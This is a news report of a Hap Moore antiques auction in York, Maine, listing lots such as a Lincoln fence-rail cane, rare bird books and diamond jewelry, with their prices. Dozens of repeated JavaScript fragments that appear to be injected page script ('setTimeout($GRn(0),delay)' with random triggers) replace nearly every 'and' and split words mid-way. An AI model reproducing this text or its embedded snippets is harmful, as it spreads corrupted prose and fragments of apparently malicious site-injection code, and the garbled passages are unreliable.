By: Laura Beach

 YORK, MAINE — Given the sheer number of new online enterprises, one could be forgiven for believing that auctions were in danger of losing their personal touch. But in a large showroom on Route 1 in a building that also houses the well-known garden andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and architectural ornaments specialist Bob Withington, auctioneer Hap Moore is staying true to his longtime customers by selling the old-fashioned way. His auctions are live, his property consigned andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his sellers are private individuals, not dealers. And that’s the way he likes it.

“It’s still an exciting business. I’ve done well with my loyal clientele,” says Moore, who conducted his first auction in 1985 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is still going strong. His most recent sale on Saturday, September 6, ranged from fine art to furniture but was particularly rich in jewelry, books andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and historical artifacts.

Of special note was a walking stick made from a Decatur, Ill., fence rail split by future president Abraham Lincoln. Made into a walking stick by Francis A. Pickering in Niantic, Ill., in 1865, the cane passed to S.F.A. Pickering of Portsmouth, N.H., from whose belongings it was consigned. The cane, which bears a metallic cartouche noting its history, sold on the phone to a collector of Lincoln memorabilia for $6,325 including premium.

From a Boothbay Harbor, Maine, collection, a choice assortment of antiquarian books, many devoted to naturalist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sporting topics, was another draw, grossing $8,970 for the group. Printed in 1885 in an edition of 300, the beautifully illustrated volume The Birds of Haiti andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and San Domingo by Charles B. Cory, bound in gilt-tooled red morocco leather, achieved $690.

The Birds of California, Texas, Oregon, British andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Russian America by John Cassin, published by Lippencott in Philadelphia in 1865, fetched $1,035. The volume is the second bound edition of a work originally printed in parts between 1853 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1855.

A first edition copy of the two-volume 1843 book Dresses andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Decorations of the Middle Ages by Henry Shaw garnered $633, the same price realized for the four-volume History of the Fishes of the British Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands by Jonathan Couch, published in London between 1862 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1865.

Moore sees to it that all estate jewelry is vetted by a certified gemologist appraiser, an extra precaution that boosts the confidence of buyers. A lady’s platinum, diamond andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and blue sapphire inline-block link bracelet exceeded its appraised fair market value of $1,875 to sell for $4,025. A second diamond bracelet garnered $4,370. A 14K white gold diamond pendant achieved $2,530, while an early Twentieth Century platinum circle pin studded with 30 round European cut melee diamonds went out at $3,910.

Reminders of Ogunquit, the former art colony 15 minutes away from York, included an Ogunquit Playhouse broadside, $230, advertising Carl Benton Reid in “An Inspector Calls” by J.B. Priestly. A pencil drawing by Bernard Karfiol, who worked in Ogunquit between 1914 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1952, was a nice buy at $748. The drawing is a preliminary study for a painting at the Newark Museum, Moore said. A charming 12-by-22-inch gouache depicting Cape Porpoise, Maine, by Peggy Bacon was snapped up at $1,495.

Hap Moore is organizing a two-day auction for November. The double header will begin on Friday with coins, currency andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and stamps, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and will continue with general merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise on Saturday.

Prices reported include the buyer’s premium.

Hap Moore Antiques Auctions is at 611 US Route 1 in York. For more information, www.hapmoore.com or 207-363-6373.